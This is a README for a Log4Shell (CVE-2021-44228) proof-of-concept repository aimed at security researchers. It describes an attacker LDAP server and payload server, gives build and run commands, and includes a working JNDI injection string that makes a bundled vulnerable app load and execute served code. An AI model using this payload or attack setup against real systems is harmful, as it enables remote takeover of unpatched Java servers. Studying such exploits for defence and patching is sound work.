ubitech/cve-2021-44228-rce-pocA Remote Code Execution PoC for Log4Shell (CVE-2021-44228)
This repository allows security researchers to experiment with remote code execution by offering an implementation of an attack server that loads a custom exploit on a vulnerable application that contains log4j.
⚠️ The tool is intended for self-assessment and should be used by authorized persons or researchers only. You should only test systems on which you have explicit permission or authority. If you find vulnerable applications or libraries, you should exercise responsible disclosure.
CVE-2021-44228 works by injecting a JNDI LDAP string into your logs, which triggers Log4j to to contact the specified LDAP server looking for additional information. In a malicious scenario, the LDAP server can then serve code back to the victim machine which will be automatically executed in-memory.
The repo containts two sub-projects. The attacker-server project contains the source code of two threaded servers. The first one is an LDAP proxy that receives the initial request for an LDAP object. The second server is the payload server that serves the Exploit (existing in Exploit.java) back to the vulnerable application
In the root of the project:
mvn clean install
Both the server and the vulnerable app should be ready.
In order to load the server execute:
java -jar attacker-server/target/attacker-server-0.0.1-SNAPSHOT-jar-with-dependencies.jar
In order to trigger the RCE execute
java -jar vulnapp/target/vulnapp-0.0.1-SNAPSHOT-jar-with-dependencies.jar \${jndi:ldap://127.0.0.1:1389/Exploit}
You can change the malicious payload on demand by extending Exploit.java